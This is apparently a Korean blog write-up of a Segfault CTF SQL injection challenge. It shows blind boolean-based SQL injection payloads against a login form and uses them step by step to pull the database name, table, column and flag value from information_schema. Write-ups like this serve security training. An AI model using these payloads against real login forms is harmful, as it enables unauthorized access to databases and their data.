※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
→ SQL Injection 근거로 찾아가봅니다.
→ ID에 1' or extractvalue('1', concat(':', database() )) # 와 PW에는 아무 값이나 입력하니 안되었다.
→ ID에 normaltic' and (ascii(substr(database(),1,1))>0)# PW에 1234를 입력하니 로그인이 되었다.
→ 올 것이 온 것 같다. 블라인드 SQL인젝션이다.
▶ Blind SQLi 공격포맷 정립
→ ID입력란에 normaltic' and (ascii(substr((SQL구문),1,1))>아스키코드 숫자)#
→ PW입력란에 1234
→ 입력이 불편하니 Burp Suite로 했다.
→ 로그인이 성공하면 리스폰스에 302가 뜨고, 실패하면 200이 떠서 match 옵션을 넣으면 보기가 조금 편해진다.
→ 16번 리퀘스트에 파라미터를 넣고 일일히 넣어보았다.
▶ 1단계 DB이름
→ UserId=normaltic' and (ascii(substr(database(),1,1))>97)#&Password=1234&Submit=Login // 로그인 성공
→ ASCII 값으로 115, 113, 108, 105, 95, 51이 나왔다.
→ SELECT CHAR ( 115, 113, 108, 105, 95, 51 ) 쿼리를 넣으면 나온다.
→ DB이름은 sqli_3
▶ 2단계 Table 이름
→ SELECT table_name from information_schema.tables WHERE table_schema='sqli_3' limit 0,1
→ UserId=normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='sqli_3' limit 0,1),1,1))>97)#&Password=1234&Submit=Login // 로그인 성공
→ ASCII 값으로 102, 108, 97, 103, 95, 116,98, 108, 101 이 나왔다.
→ SELECT CHAR (102,108,97,103,95, 116, 97, 98,108,101) 쿼리를 넣어보니 flag_table이었다.
→ 첫 번째 테이블 이름 flag_table
▶ 3단계 flag_table의 COLUMN 이름
→ SELECT column_name from information_schema.columns WHERE table_schema='sqli_3' and table_name='flag_table'
→ UserId=normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='sqli_3' and table_name='flag_table' limit 0,1),1,1))>0)#&Password=1234&Submit=Login // 로그인 성공
→ ASCII 값으로 102,108,97,103 이 나왔다.
→ 속성 이름은 1개였고 flag였다.
▶ 4단계 값 알아내기
→ UserId=normaltic' and (ascii(substr((SELECT flag from sqli_3.flag_table limit 0,1),1,1))>0)#&Password=1234&Submit=Login
→ 값의 개수는 하나였다. segfault{로 시작할 것으로 예상되어서 바로 입력했다.
→ UserId=normaltic' and (substr((SELECT flag from sqli_3.flag_table),1,9)='segfault{')#&Password=1234&Submit=Login // 로그인이 되었다. segfault{는 바로 알아냈고 뒷 부분을 알아내면 된다.
→ 다만 특이하게 문자열 비교에서는 대소문자 구분이 없어서 아스키 코드로 대소문자를 확인해야 한다.
→ 25글자인 플래그를 획득했다.
Segfault CTF - (8주 차) SQL Injection Point 2 (0) | 2024.06.12 |
---|---|
Segfault CTF - (8주 차) SQL Injection Point 1 (0) | 2024.06.12 |
Segfault CTF - (7주 차) SQL Injection 5 (1) | 2024.06.05 |
Segfault CTF - (7주 차) SQL Injection 4 (1) | 2024.06.05 |
Segfault CTF - (7주 차) SQL Injection 3 (0) | 2024.06.05 |